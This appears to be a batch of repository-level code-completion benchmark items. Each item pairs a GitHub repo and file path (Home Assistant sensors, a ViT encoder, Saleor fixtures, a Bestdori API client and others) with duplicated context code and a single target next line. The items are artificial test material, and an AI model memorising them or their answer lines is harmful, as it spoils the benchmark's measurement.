well as waiting on remotely managed threads, in fact blocking for several minutes and then succeeding is not uncommon. The caller should make arrangements for multithreading, etc. should it be needed. If a thread is not provided, a new one will be made. """ if thread is None: thread = self.thread() self.add_message(query, thread) self.run_thread(thread, use_commands=use_commands, confirm_commands=confirm_commands, instructions=instructions) messages = list(self.messages(thread)) content = messages[0].content assert len(content) == 1 assert content[0].type == "text" assert len(content[0].text.annotations) == 0 return content[0].text.value

def functions(self) -> Iterable[FunctionSpec]:

2023-11-17 19:43:55+00:00

2k

Mat931/digitalstrom-homeassistant

custom_components/digitalstrom/binary_sensor.py

import logging from homeassistant.components.binary_sensor import ( BinarySensorDeviceClass, BinarySensorEntity, BinarySensorEntityDescription, ) from homeassistant.config_entries import ConfigEntry from homeassistant.const import EntityCategory from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from .const import CONF_DSUID, DOMAIN from .entity import DigitalstromEntity

name="Brightness", device_class=BinarySensorDeviceClass.LIGHT, ), 3: BinarySensorEntityDescription( key="3", name="Presence in darkness", device_class=BinarySensorDeviceClass.PRESENCE, ), 4: BinarySensorEntityDescription( key="4", name="Twilight", device_class=BinarySensorDeviceClass.LIGHT, ), 5: BinarySensorEntityDescription( key="5", name="Motion", device_class=BinarySensorDeviceClass.MOTION, ), 6: BinarySensorEntityDescription( key="6", name="Motion in darkness", device_class=BinarySensorDeviceClass.MOTION, ), 7: BinarySensorEntityDescription( key="7", name="Smoke", device_class=BinarySensorDeviceClass.SMOKE, ), 8: BinarySensorEntityDescription( key="8", name="Wind strength above limit", device_class=BinarySensorDeviceClass.SAFETY, ), 9: BinarySensorEntityDescription( key="9", name="Rain", device_class=BinarySensorDeviceClass.MOISTURE, ), 10: BinarySensorEntityDescription( key="10", name="Sun", device_class=BinarySensorDeviceClass.LIGHT, ), 11: BinarySensorEntityDescription( key="11", name="Temperature below limit", device_class=BinarySensorDeviceClass.COLD, ), 12: BinarySensorEntityDescription( key="12", name="Battery", device_class=BinarySensorDeviceClass.BATTERY, ), 13: BinarySensorEntityDescription( key="13", name="Window", device_class=BinarySensorDeviceClass.WINDOW, ), 14: BinarySensorEntityDescription( key="14", name="Door", device_class=BinarySensorDeviceClass.DOOR, ), 15: BinarySensorEntityDescription( key="15", name="Window tilt", device_class=BinarySensorDeviceClass.WINDOW, ), 16: BinarySensorEntityDescription( key="16", name="Garage door", device_class=BinarySensorDeviceClass.GARAGE_DOOR, ), 17: BinarySensorEntityDescription( key="17", name="Sun protection", device_class=BinarySensorDeviceClass.SAFETY, ), 18: BinarySensorEntityDescription( key="18", name="Frost", device_class=BinarySensorDeviceClass.COLD, ), 19: BinarySensorEntityDescription( key="19", name="Heating system", device_class=BinarySensorDeviceClass.HEAT, ), 20: BinarySensorEntityDescription( key="20", name="Warm water", device_class=BinarySensorDeviceClass.HEAT, ), 21: BinarySensorEntityDescription( key="21", name="Initialization", device_class=BinarySensorDeviceClass.RUNNING, entity_category=EntityCategory.DIAGNOSTIC, ), 22: BinarySensorEntityDescription( key="22", name="Malfunction", device_class=BinarySensorDeviceClass.PROBLEM, entity_category=EntityCategory.DIAGNOSTIC, ), 23: BinarySensorEntityDescription( key="23", name="Service required", device_class=BinarySensorDeviceClass.PROBLEM, entity_category=EntityCategory.DIAGNOSTIC, ), } async def async_setup_entry( hass: HomeAssistant, config_entry: ConfigEntry, async_add_entities: AddEntitiesCallback, ) -> None: """Set up the binary sensor platform."""

_LOGGER = logging.getLogger(__name__) BINARY_SENSORS_MAP: dict[int, BinarySensorEntityDescription] = { -1: BinarySensorEntityDescription( key="unknown", name="Unknown binary input", ), 0: BinarySensorEntityDescription( key="0", name="Binary input", ), 1: BinarySensorEntityDescription( key="1", name="Presence", device_class=BinarySensorDeviceClass.PRESENCE, ), 2: BinarySensorEntityDescription( key="2", name="Brightness", device_class=BinarySensorDeviceClass.LIGHT, ), 3: BinarySensorEntityDescription( key="3", name="Presence in darkness", device_class=BinarySensorDeviceClass.PRESENCE, ), 4: BinarySensorEntityDescription( key="4", name="Twilight", device_class=BinarySensorDeviceClass.LIGHT, ), 5: BinarySensorEntityDescription( key="5", name="Motion", device_class=BinarySensorDeviceClass.MOTION, ), 6: BinarySensorEntityDescription( key="6", name="Motion in darkness", device_class=BinarySensorDeviceClass.MOTION, ), 7: BinarySensorEntityDescription( key="7", name="Smoke", device_class=BinarySensorDeviceClass.SMOKE, ), 8: BinarySensorEntityDescription( key="8", name="Wind strength above limit", device_class=BinarySensorDeviceClass.SAFETY, ), 9: BinarySensorEntityDescription( key="9", name="Rain", device_class=BinarySensorDeviceClass.MOISTURE, ), 10: BinarySensorEntityDescription( key="10", name="Sun", device_class=BinarySensorDeviceClass.LIGHT, ), 11: BinarySensorEntityDescription( key="11", name="Temperature below limit", device_class=BinarySensorDeviceClass.COLD, ), 12: BinarySensorEntityDescription( key="12", name="Battery", device_class=BinarySensorDeviceClass.BATTERY, ), 13: BinarySensorEntityDescription( key="13", name="Window", device_class=BinarySensorDeviceClass.WINDOW, ), 14: BinarySensorEntityDescription( key="14", name="Door", device_class=BinarySensorDeviceClass.DOOR, ), 15: BinarySensorEntityDescription( key="15", name="Window tilt", device_class=BinarySensorDeviceClass.WINDOW, ), 16: BinarySensorEntityDescription( key="16", name="Garage door", device_class=BinarySensorDeviceClass.GARAGE_DOOR, ), 17: BinarySensorEntityDescription( key="17", name="Sun protection", device_class=BinarySensorDeviceClass.SAFETY, ), 18: BinarySensorEntityDescription( key="18", name="Frost", device_class=BinarySensorDeviceClass.COLD, ), 19: BinarySensorEntityDescription( key="19", name="Heating system", device_class=BinarySensorDeviceClass.HEAT, ), 20: BinarySensorEntityDescription( key="20", name="Warm water", device_class=BinarySensorDeviceClass.HEAT, ), 21: BinarySensorEntityDescription( key="21", name="Initialization", device_class=BinarySensorDeviceClass.RUNNING, entity_category=EntityCategory.DIAGNOSTIC, ), 22: BinarySensorEntityDescription( key="22", name="Malfunction", device_class=BinarySensorDeviceClass.PROBLEM, entity_category=EntityCategory.DIAGNOSTIC, ), 23: BinarySensorEntityDescription( key="23", name="Service required", device_class=BinarySensorDeviceClass.PROBLEM, entity_category=EntityCategory.DIAGNOSTIC, ), } async def async_setup_entry( hass: HomeAssistant, config_entry: ConfigEntry, async_add_entities: AddEntitiesCallback, ) -> None: """Set up the binary sensor platform."""

client = hass.data[DOMAIN][config_entry.data[CONF_DSUID]]["client"]

2023-11-10 16:42:38+00:00

2k

mohenghui/detectAuto_v8

ultralytics/models/sam/modules/encoders.py

from typing import Any, Optional, Tuple, Type from ultralytics.nn.modules import LayerNorm2d, MLPBlock import numpy as np import torch import torch.nn as nn import torch.nn.functional as F

# Ultralytics YOLO 🚀, AGPL-3.0 license class ImageEncoderViT(nn.Module): """ An image encoder using Vision Transformer (ViT) architecture for encoding an image into a compact latent space. The encoder takes an image, splits it into patches, and processes these patches through a series of transformer blocks. The encoded patches are then processed through a neck to generate the final encoded representation. This class and its supporting functions below lightly adapted from the ViTDet backbone available at https://github.com/facebookresearch/detectron2/blob/main/detectron2/modeling/backbone/vit.py. Attributes: img_size (int): Dimension of input images, assumed to be square. patch_embed (PatchEmbed): Module for patch embedding. pos_embed (nn.Parameter, optional): Absolute positional embedding for patches. blocks (nn.ModuleList): List of transformer blocks for processing patch embeddings. neck (nn.Sequential): Neck module to further process the output. """ def __init__( self, img_size: int = 1024, patch_size: int = 16, in_chans: int = 3, embed_dim: int = 768, depth: int = 12, num_heads: int = 12, mlp_ratio: float = 4.0, out_chans: int = 256, qkv_bias: bool = True, norm_layer: Type[nn.Module] = nn.LayerNorm, act_layer: Type[nn.Module] = nn.GELU, use_abs_pos: bool = True, use_rel_pos: bool = False, rel_pos_zero_init: bool = True, window_size: int = 0, global_attn_indexes: Tuple[int, ...] = (), ) -> None: """ Args: img_size (int): Input image size. patch_size (int): Patch size. in_chans (int): Number of input image channels. embed_dim (int): Patch embedding dimension. depth (int): Depth of ViT. num_heads (int): Number of attention heads in each ViT block. mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. qkv_bias (bool): If True, add a learnable bias to query, key, value. norm_layer (nn.Module): Normalization layer. act_layer (nn.Module): Activation layer. use_abs_pos (bool): If True, use absolute positional embeddings. use_rel_pos (bool): If True, add relative positional embeddings to the attention map. rel_pos_zero_init (bool): If True, zero initialize relative positional parameters. window_size (int): Window size for window attention blocks. global_attn_indexes (list): Indexes for blocks using global attention. """ super().__init__() self.img_size = img_size self.patch_embed = PatchEmbed( kernel_size=(patch_size, patch_size), stride=(patch_size, patch_size), in_chans=in_chans, embed_dim=embed_dim, ) self.pos_embed: Optional[nn.Parameter] = None if use_abs_pos: # Initialize absolute positional embedding with pretrain image size. self.pos_embed = nn.Parameter(torch.zeros(1, img_size // patch_size, img_size // patch_size, embed_dim)) self.blocks = nn.ModuleList() for i in range(depth): block = Block( dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, norm_layer=norm_layer, act_layer=act_layer, use_rel_pos=use_rel_pos, rel_pos_zero_init=rel_pos_zero_init, window_size=window_size if i not in global_attn_indexes else 0, input_size=(img_size // patch_size, img_size // patch_size), ) self.blocks.append(block) self.neck = nn.Sequential( nn.Conv2d( embed_dim, out_chans, kernel_size=1, bias=False, ),

# Ultralytics YOLO 🚀, AGPL-3.0 license class ImageEncoderViT(nn.Module): """ An image encoder using Vision Transformer (ViT) architecture for encoding an image into a compact latent space. The encoder takes an image, splits it into patches, and processes these patches through a series of transformer blocks. The encoded patches are then processed through a neck to generate the final encoded representation. This class and its supporting functions below lightly adapted from the ViTDet backbone available at https://github.com/facebookresearch/detectron2/blob/main/detectron2/modeling/backbone/vit.py. Attributes: img_size (int): Dimension of input images, assumed to be square. patch_embed (PatchEmbed): Module for patch embedding. pos_embed (nn.Parameter, optional): Absolute positional embedding for patches. blocks (nn.ModuleList): List of transformer blocks for processing patch embeddings. neck (nn.Sequential): Neck module to further process the output. """ def __init__( self, img_size: int = 1024, patch_size: int = 16, in_chans: int = 3, embed_dim: int = 768, depth: int = 12, num_heads: int = 12, mlp_ratio: float = 4.0, out_chans: int = 256, qkv_bias: bool = True, norm_layer: Type[nn.Module] = nn.LayerNorm, act_layer: Type[nn.Module] = nn.GELU, use_abs_pos: bool = True, use_rel_pos: bool = False, rel_pos_zero_init: bool = True, window_size: int = 0, global_attn_indexes: Tuple[int, ...] = (), ) -> None: """ Args: img_size (int): Input image size. patch_size (int): Patch size. in_chans (int): Number of input image channels. embed_dim (int): Patch embedding dimension. depth (int): Depth of ViT. num_heads (int): Number of attention heads in each ViT block. mlp_ratio (float): Ratio of mlp hidden dim to embedding dim. qkv_bias (bool): If True, add a learnable bias to query, key, value. norm_layer (nn.Module): Normalization layer. act_layer (nn.Module): Activation layer. use_abs_pos (bool): If True, use absolute positional embeddings. use_rel_pos (bool): If True, add relative positional embeddings to the attention map. rel_pos_zero_init (bool): If True, zero initialize relative positional parameters. window_size (int): Window size for window attention blocks. global_attn_indexes (list): Indexes for blocks using global attention. """ super().__init__() self.img_size = img_size self.patch_embed = PatchEmbed( kernel_size=(patch_size, patch_size), stride=(patch_size, patch_size), in_chans=in_chans, embed_dim=embed_dim, ) self.pos_embed: Optional[nn.Parameter] = None if use_abs_pos: # Initialize absolute positional embedding with pretrain image size. self.pos_embed = nn.Parameter(torch.zeros(1, img_size // patch_size, img_size // patch_size, embed_dim)) self.blocks = nn.ModuleList() for i in range(depth): block = Block( dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, norm_layer=norm_layer, act_layer=act_layer, use_rel_pos=use_rel_pos, rel_pos_zero_init=rel_pos_zero_init, window_size=window_size if i not in global_attn_indexes else 0, input_size=(img_size // patch_size, img_size // patch_size), ) self.blocks.append(block) self.neck = nn.Sequential( nn.Conv2d( embed_dim, out_chans, kernel_size=1, bias=False, ),

LayerNorm2d(out_chans),

2023-11-16 12:49:59+00:00

2k

i-super/Saleor

saleor/webhook/observability/tests/conftest.py

from typing import Optional from unittest.mock import patch from django.core.cache import cache from graphql import get_default_backend from redis import ConnectionPool from ....graphql.api import schema from ..buffers import RedisBuffer from ..utils import GraphQLOperationResponse, get_buffer_name import fakeredis import pytest

backend = get_default_backend() BROKER_URL_HOST = "fake-redis" BROKER_URL = f"redis://{BROKER_URL_HOST}" KEY, MAX_SIZE, BATCH_SIZE = get_buffer_name(), 10, 5 @pytest.fixture def gql_operation_factory(): def factory( query_string: str, operation_name: Optional[str] = None, variables: Optional[dict] = None, result: Optional[dict] = None, result_invalid=False, ) -> GraphQLOperationResponse:

backend = get_default_backend() BROKER_URL_HOST = "fake-redis" BROKER_URL = f"redis://{BROKER_URL_HOST}" KEY, MAX_SIZE, BATCH_SIZE = get_buffer_name(), 10, 5 @pytest.fixture def gql_operation_factory(): def factory( query_string: str, operation_name: Optional[str] = None, variables: Optional[dict] = None, result: Optional[dict] = None, result_invalid=False, ) -> GraphQLOperationResponse:

query = backend.document_from_string(schema, query_string)

2023-11-13 05:00:35+00:00

2k

Aues6uen11Z/Zafkiel

zafkiel/ui/switch.py

from zafkiel.device.template import ImageTemplate as Template from zafkiel.exception import ScriptError

class Switch: """ A wrapper to handle switches in game, switch among states with retries. Main code comes from https://github.com/LmeSzinc/StarRailCopilot/blob/master/module/ui/switch.py Examples: # Definitions submarine_hunt = Switch('Submarine_hunt', offset=120) submarine_hunt.add_state('on', check_button=Template(r"assets/ON.png")) submarine_hunt.add_state('off', check_button=Template(r"assets/OFF.png")) # Change state to ON submarine_view.set(TPL_ON) """ def __init__(self, name: str = 'Switch', is_selector: bool = False): """ Args: name: is_selector: True if this is a multi choice, click to choose one of the switches. For example: | [Daily] | Urgent | -> click -> | Daily | [Urgent] | False if this is a switch, click the switch itself, and it changed in the same position. For example: | [ON] | -> click -> | [OFF] | """ self.name = name self.is_choice = is_selector self.state_list = [] def __str__(self): return self.name __repr__ = __str__ def add_state(self, state: str, check_button: Template, click_button: Template = None): """ Args: state: Must match check_button.name check_button: click_button: """ self.state_list.append({ 'state': state, 'check_button': check_button, 'click_button': click_button if click_button is not None else check_button, }) def get_data(self, state: Template) -> dict: """ Args: state: Returns: Dictionary in add_state Raises: ScriptError: If state invalid """ for row in self.state_list: if row['state'] == state.name: return row

class Switch: """ A wrapper to handle switches in game, switch among states with retries. Main code comes from https://github.com/LmeSzinc/StarRailCopilot/blob/master/module/ui/switch.py Examples: # Definitions submarine_hunt = Switch('Submarine_hunt', offset=120) submarine_hunt.add_state('on', check_button=Template(r"assets/ON.png")) submarine_hunt.add_state('off', check_button=Template(r"assets/OFF.png")) # Change state to ON submarine_view.set(TPL_ON) """ def __init__(self, name: str = 'Switch', is_selector: bool = False): """ Args: name: is_selector: True if this is a multi choice, click to choose one of the switches. For example: | [Daily] | Urgent | -> click -> | Daily | [Urgent] | False if this is a switch, click the switch itself, and it changed in the same position. For example: | [ON] | -> click -> | [OFF] | """ self.name = name self.is_choice = is_selector self.state_list = [] def __str__(self): return self.name __repr__ = __str__ def add_state(self, state: str, check_button: Template, click_button: Template = None): """ Args: state: Must match check_button.name check_button: click_button: """ self.state_list.append({ 'state': state, 'check_button': check_button, 'click_button': click_button if click_button is not None else check_button, }) def get_data(self, state: Template) -> dict: """ Args: state: Returns: Dictionary in add_state Raises: ScriptError: If state invalid """ for row in self.state_list: if row['state'] == state.name: return row

raise ScriptError(f'Switch {self.name} received an invalid state {state}')

2023-11-12 09:33:35+00:00

2k

medkit-lib/medkit

tests/unit/training/dummy_context_component/dummy_component.py

import os import torch from typing import Optional from medkit.training import BatchData from .dummy_model import DummyTextCat, DummyTextCatConfig, DummyTokenizer

PYTORCH_MODEL_NAME = "pytorch_model.bin" class MockTrainableComponent: def __init__( self, model_path: Optional[str] = None, output_label: str = "category", device="cpu", ): self.tokenizer = DummyTokenizer() # load architecture

PYTORCH_MODEL_NAME = "pytorch_model.bin" class MockTrainableComponent: def __init__( self, model_path: Optional[str] = None, output_label: str = "category", device="cpu", ): self.tokenizer = DummyTokenizer() # load architecture

self.model = DummyTextCat(config=DummyTextCatConfig())

2023-11-13 16:28:56+00:00

2k

donahowe/VE-MLD

src_files/models/utils/factory.py

import logging import os import torch from urllib import request from ...ml_decoder.ml_decoder import add_ml_decoder_head from ..tresnet import TResnetM, TResnetL, TResnetXL from ..vit import VE

logger = logging.getLogger(__name__) def create_model(args,load_head=False): """Create a model """ model_params = {'args': args, 'num_classes': args.num_classes, 'image_size': args.image_size} args = model_params['args'] args.model_name = args.model_name.lower() if args.model_name == 'vit': model = VE(model_params) elif args.model_name == 'tresnet_m': model = TResnetM(model_params) elif args.model_name == 'tresnet_l':

logger = logging.getLogger(__name__) def create_model(args,load_head=False): """Create a model """ model_params = {'args': args, 'num_classes': args.num_classes, 'image_size': args.image_size} args = model_params['args'] args.model_name = args.model_name.lower() if args.model_name == 'vit': model = VE(model_params) elif args.model_name == 'tresnet_m': model = TResnetM(model_params) elif args.model_name == 'tresnet_l':

model = TResnetL(model_params)

2023-11-13 04:12:26+00:00

2k

WindowsSov8forUs/bestdori_api

bestdori/utils/network.py

from json import dumps from io import BufferedReader from httpx._models import Cookies from httpx import Response, Request, Client from typing import Optional, Literal, cast, Any from ..exceptions import ( AssetsNotExistError, RequestException, REQUEST_EXCEPTION )

'''`bestdori.utils.network` 向 Bestdori 发送请求相关模块''' # 向 Bestdori 发送 API 请求类 class Api: '''向 Bestdori 发送 API 请求类 参数: api (str): 请求的 API 地址 proxy (Optional[str]): 代理服务器''' api: str '''请求的 API 地址''' proxy: Optional[str]=None '''代理服务器''' headers: dict[str, str] '''请求头''' # 初始化 def __init__( self, api: str, proxy: Optional[str]=None ) -> None: '''初始化''' self.api = api self.proxy = proxy self.headers = {'Content-Type': 'application/json;charset=UTF-8'} return # 请求发送 def request( self, method: Literal['get', 'post'], *, cookies: Optional[Cookies]=None, params: Optional[dict[str, Any]]=None, data: Optional[dict[str, Any]]=None, files: Optional[dict[str, tuple[str, BufferedReader]]]=None ) -> Response: '''请求发送 参数: method (Literal[&#39;get&#39;, &#39;post&#39;]): API 调用方法 cookies (Optional[Cookies], optional): Cookies params (Optional[dict[str, Any]], optional): 调用参数 data (Optional[dict[str, Any]], optional): 调用参数，将以 `json` 字符串形式发送 files (Optional[dict[str, tuple[str, BufferedReader]]], optional): 发送文件参数 返回: Response: 收到的响应 ''' # 处理接收到的 API if self.api.startswith('http://') or self.api.startswith('https://'): self.api = self.api else: self.api = 'https://bestdori.com/api/' + self.api # 构建一个请求体 request = Request( method, self.api, cookies=cookies, params=params, data=cast(dict, dumps(data)) if data is not None else data, files=files, headers=self.headers if not self.api.endswith('/upload') else None ) # 构建代理服务器字典 if self.proxy is not None: proxies = {'http://': self.proxy, 'https://': self.proxy} else: proxies = None # 发送请求并获取响应 with Client(proxies=cast(dict, proxies)) as client: response = client.send(request) client.close() # 处理接收到的响应 response.raise_for_status() # 判断接收到的响应是否为 json 格式 if 'application/json' not in (content_type := response.headers.get('content-type', None)): if content_type is not None: return response else: raise Exception('接收到的响应没有 content-type。') if isinstance((response_data := response.json()), dict): if (result := response_data.get('result', None)) is not None: if result is False: if (code := response_data.get('code', None)) is not None: if code in REQUEST_EXCEPTION.keys(): # 若错误码已被记录 exception_class = REQUEST_EXCEPTION[code] if params is not None: raise exception_class(self.api, **params) elif data is not None: raise exception_class(self.api, **data) else: raise exception_class(self.api) else:

'''`bestdori.utils.network` 向 Bestdori 发送请求相关模块''' # 向 Bestdori 发送 API 请求类 class Api: '''向 Bestdori 发送 API 请求类 参数: api (str): 请求的 API 地址 proxy (Optional[str]): 代理服务器''' api: str '''请求的 API 地址''' proxy: Optional[str]=None '''代理服务器''' headers: dict[str, str] '''请求头''' # 初始化 def __init__( self, api: str, proxy: Optional[str]=None ) -> None: '''初始化''' self.api = api self.proxy = proxy self.headers = {'Content-Type': 'application/json;charset=UTF-8'} return # 请求发送 def request( self, method: Literal['get', 'post'], *, cookies: Optional[Cookies]=None, params: Optional[dict[str, Any]]=None, data: Optional[dict[str, Any]]=None, files: Optional[dict[str, tuple[str, BufferedReader]]]=None ) -> Response: '''请求发送 参数: method (Literal[&#39;get&#39;, &#39;post&#39;]): API 调用方法 cookies (Optional[Cookies], optional): Cookies params (Optional[dict[str, Any]], optional): 调用参数 data (Optional[dict[str, Any]], optional): 调用参数，将以 `json` 字符串形式发送 files (Optional[dict[str, tuple[str, BufferedReader]]], optional): 发送文件参数 返回: Response: 收到的响应 ''' # 处理接收到的 API if self.api.startswith('http://') or self.api.startswith('https://'): self.api = self.api else: self.api = 'https://bestdori.com/api/' + self.api # 构建一个请求体 request = Request( method, self.api, cookies=cookies, params=params, data=cast(dict, dumps(data)) if data is not None else data, files=files, headers=self.headers if not self.api.endswith('/upload') else None ) # 构建代理服务器字典 if self.proxy is not None: proxies = {'http://': self.proxy, 'https://': self.proxy} else: proxies = None # 发送请求并获取响应 with Client(proxies=cast(dict, proxies)) as client: response = client.send(request) client.close() # 处理接收到的响应 response.raise_for_status() # 判断接收到的响应是否为 json 格式 if 'application/json' not in (content_type := response.headers.get('content-type', None)): if content_type is not None: return response else: raise Exception('接收到的响应没有 content-type。') if isinstance((response_data := response.json()), dict): if (result := response_data.get('result', None)) is not None: if result is False: if (code := response_data.get('code', None)) is not None: if code in REQUEST_EXCEPTION.keys(): # 若错误码已被记录 exception_class = REQUEST_EXCEPTION[code] if params is not None: raise exception_class(self.api, **params) elif data is not None: raise exception_class(self.api, **data) else: raise exception_class(self.api) else:

raise RequestException(self.api, code)

2023-11-16 13:09:20+00:00

2k

jidiai/Competition_OvercookedAI-2

run_log.py

import os import time import json import numpy as np import argparse import sys from env.chooseenv import make from utils.get_logger import get_logger from env.obs_interfaces.observation import obs_type

# -*- coding:utf-8 -*- sys.path.append("./olympics_engine") class NpEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, np.integer): return int(obj) elif isinstance(obj, np.floating): return float(obj) elif isinstance(obj, np.ndarray): return obj.tolist() else: return super(NpEncoder, self).default(obj) def get_players_and_action_space_list(g): if sum(g.agent_nums) != g.n_player: raise Exception("agent number = %d 不正确，与n_player = %d 不匹配" % (sum(g.agent_nums), g.n_player)) n_agent_num = list(g.agent_nums) for i in range(1, len(n_agent_num)): n_agent_num[i] += n_agent_num[i - 1] # 根据agent number 分配 player id players_id = [] actions_space = [] for policy_i in range(len(g.obs_type)): if policy_i == 0: players_id_list = range(n_agent_num[policy_i]) else: players_id_list = range(n_agent_num[policy_i - 1], n_agent_num[policy_i]) players_id.append(players_id_list) action_space_list = [g.get_single_action_space(player_id) for player_id in players_id_list] actions_space.append(action_space_list) return players_id, actions_space def get_joint_action_eval(game, multi_part_agent_ids, policy_list, actions_spaces, all_observes): if len(policy_list) != len(game.agent_nums): error = "模型个数%d与玩家个数%d维度不正确！" % (len(policy_list), len(game.agent_nums)) raise Exception(error) # [[[0, 0, 0, 1]], [[0, 1, 0, 0]]] joint_action = [] for policy_i in range(len(policy_list)): if game.obs_type[policy_i] not in obs_type: raise Exception("可选obs类型：%s" % str(obs_type)) agents_id_list = multi_part_agent_ids[policy_i] action_space_list = actions_spaces[policy_i] function_name = 'm%d' % policy_i for i in range(len(agents_id_list)): agent_id = agents_id_list[i] a_obs = all_observes[agent_id] each = eval(function_name)(a_obs, action_space_list[i], game.is_act_continuous) joint_action.append(each) # print(joint_action) return joint_action def set_seed(g, env_name): if env_name.split("-")[0] in ['magent']: g.reset() seed = g.create_seed() g.set_seed(seed) def run_game(g, env_name, multi_part_agent_ids, actions_spaces, policy_list, render_mode): """ This function is used to generate log for Vue rendering. Saves .json file """ log_path = os.getcwd() + '/logs/' if not os.path.exists(log_path): os.mkdir(log_path)

# -*- coding:utf-8 -*- sys.path.append("./olympics_engine") class NpEncoder(json.JSONEncoder): def default(self, obj): if isinstance(obj, np.integer): return int(obj) elif isinstance(obj, np.floating): return float(obj) elif isinstance(obj, np.ndarray): return obj.tolist() else: return super(NpEncoder, self).default(obj) def get_players_and_action_space_list(g): if sum(g.agent_nums) != g.n_player: raise Exception("agent number = %d 不正确，与n_player = %d 不匹配" % (sum(g.agent_nums), g.n_player)) n_agent_num = list(g.agent_nums) for i in range(1, len(n_agent_num)): n_agent_num[i] += n_agent_num[i - 1] # 根据agent number 分配 player id players_id = [] actions_space = [] for policy_i in range(len(g.obs_type)): if policy_i == 0: players_id_list = range(n_agent_num[policy_i]) else: players_id_list = range(n_agent_num[policy_i - 1], n_agent_num[policy_i]) players_id.append(players_id_list) action_space_list = [g.get_single_action_space(player_id) for player_id in players_id_list] actions_space.append(action_space_list) return players_id, actions_space def get_joint_action_eval(game, multi_part_agent_ids, policy_list, actions_spaces, all_observes): if len(policy_list) != len(game.agent_nums): error = "模型个数%d与玩家个数%d维度不正确！" % (len(policy_list), len(game.agent_nums)) raise Exception(error) # [[[0, 0, 0, 1]], [[0, 1, 0, 0]]] joint_action = [] for policy_i in range(len(policy_list)): if game.obs_type[policy_i] not in obs_type: raise Exception("可选obs类型：%s" % str(obs_type)) agents_id_list = multi_part_agent_ids[policy_i] action_space_list = actions_spaces[policy_i] function_name = 'm%d' % policy_i for i in range(len(agents_id_list)): agent_id = agents_id_list[i] a_obs = all_observes[agent_id] each = eval(function_name)(a_obs, action_space_list[i], game.is_act_continuous) joint_action.append(each) # print(joint_action) return joint_action def set_seed(g, env_name): if env_name.split("-")[0] in ['magent']: g.reset() seed = g.create_seed() g.set_seed(seed) def run_game(g, env_name, multi_part_agent_ids, actions_spaces, policy_list, render_mode): """ This function is used to generate log for Vue rendering. Saves .json file """ log_path = os.getcwd() + '/logs/' if not os.path.exists(log_path): os.mkdir(log_path)

logger = get_logger(log_path, g.game_name, json_file=render_mode)

2023-11-15 09:09:01+00:00

2k

AnonymGiant/ViLaM

lavis/processors/blip_processors.py

import re from lavis.common.registry import registry from lavis.processors.base_processor import BaseProcessor from lavis.processors.randaugment import RandomAugment from omegaconf import OmegaConf from torchvision import transforms from torchvision.transforms.functional import InterpolationMode

""" Copyright (c) 2022, salesforce.com, inc. All rights reserved. SPDX-License-Identifier: BSD-3-Clause For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause """ class BlipImageBaseProcessor(BaseProcessor): def __init__(self, mean=None, std=None): if mean is None: mean = (0.48145466, 0.4578275, 0.40821073) if std is None: std = (0.26862954, 0.26130258, 0.27577711) self.normalize = transforms.Normalize(mean, std)

""" Copyright (c) 2022, salesforce.com, inc. All rights reserved. SPDX-License-Identifier: BSD-3-Clause For full license text, see the LICENSE file in the repo root or https://opensource.org/licenses/BSD-3-Clause """ class BlipImageBaseProcessor(BaseProcessor): def __init__(self, mean=None, std=None): if mean is None: mean = (0.48145466, 0.4578275, 0.40821073) if std is None: std = (0.26862954, 0.26130258, 0.27577711) self.normalize = transforms.Normalize(mean, std)

@registry.register_processor("blip_caption")

2023-11-14 08:57:59+00:00

2k

MorrisNein/pecapiku

pecapiku/single_value_cache.py

import os from functools import partial, wraps from typing import Any, Generic, Hashable from pecapiku.base_cache import BaseCache, DecoratedCallable, Decorator, omnimethod from pecapiku.cache_access import CacheAccess, _initialize_cache, _resolve_filepath, update_cache from pecapiku.no_cache import NoCache

from __future__ import annotations class SingleValueCache(BaseCache, Generic[DecoratedCallable]): """ Decorator for caching of evaluation results. Creates a "pickle" file at disk space on a specified path. Wraps a function and stores its execution result in the file. To apply, use the method ``SingleValueCache.decorate()`` or ``SingleValueCache(...)()``. Args: file_path - a path to an existing or non-existent pickle file. If a relative path or a filename is given, puts it into the framework cache directory. access - cache access indicators. The string may include the following indicators: - ``r`` - read - grants access to read the cache file content - ``e`` - execute/evaluate - grants access to evaluate the decorated function (if such is present) - ``w`` - write - grants access to modify the cache file content Example ------- >>> import time >>> from timeit import timeit >>> def a_heavy_function(): ... time.sleep(1) ... ... @SingleValueCache('a_heavy_function.pkl') # or @SingleValueCache.decorate(file_path='a_heavy_function.pkl') >>> def a_heavy_function_cached(): ... time.sleep(1) >>> print(timeit(a_heavy_function, number=10)) # 10.070 >>> print(timeit(a_heavy_function_cached, number=10)) # 1.015 """ @classmethod def _get_default_file_path(cls) -> None: return None def __init__(self, file_path: os.PathLike | str | None = None, access: CacheAccess = 'rew'): super().__init__(file_path, access) self.cache_dict = None def __call__(self, func: DecoratedCallable | None = None, *, file_path: os.PathLike | str | None = None,

from __future__ import annotations class SingleValueCache(BaseCache, Generic[DecoratedCallable]): """ Decorator for caching of evaluation results. Creates a "pickle" file at disk space on a specified path. Wraps a function and stores its execution result in the file. To apply, use the method ``SingleValueCache.decorate()`` or ``SingleValueCache(...)()``. Args: file_path - a path to an existing or non-existent pickle file. If a relative path or a filename is given, puts it into the framework cache directory. access - cache access indicators. The string may include the following indicators: - ``r`` - read - grants access to read the cache file content - ``e`` - execute/evaluate - grants access to evaluate the decorated function (if such is present) - ``w`` - write - grants access to modify the cache file content Example ------- >>> import time >>> from timeit import timeit >>> def a_heavy_function(): ... time.sleep(1) ... ... @SingleValueCache('a_heavy_function.pkl') # or @SingleValueCache.decorate(file_path='a_heavy_function.pkl') >>> def a_heavy_function_cached(): ... time.sleep(1) >>> print(timeit(a_heavy_function, number=10)) # 10.070 >>> print(timeit(a_heavy_function_cached, number=10)) # 1.015 """ @classmethod def _get_default_file_path(cls) -> None: return None def __init__(self, file_path: os.PathLike | str | None = None, access: CacheAccess = 'rew'): super().__init__(file_path, access) self.cache_dict = None def __call__(self, func: DecoratedCallable | None = None, *, file_path: os.PathLike | str | None = None,

access: CacheAccess | None = None) -> DecoratedCallable | Decorator:

2023-11-17 12:10:01+00:00

2k

gerlaxrex/parrot

parrot1/audio/extraction/audio_extraction.py

